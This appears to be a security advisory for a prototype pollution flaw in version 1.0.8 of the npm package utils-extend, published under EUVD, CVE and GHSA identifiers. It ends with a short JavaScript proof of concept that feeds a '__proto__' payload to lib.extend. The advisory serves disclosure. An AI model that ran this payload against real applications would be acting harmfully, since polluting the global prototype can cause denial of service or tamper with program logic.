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EUVD-2026-224515

fkie_cve-2024-57077

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

GHSA-7qgg-vw88-cc99 — utils-extend Prototype Pollution

Affected: npm: utils-extend

## PoC ```js async function exploit() { const utilsextend = require(\"utils-extend\"); const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}'); const result = await utilsextend.extend({}, payload); }

await exploit(); ```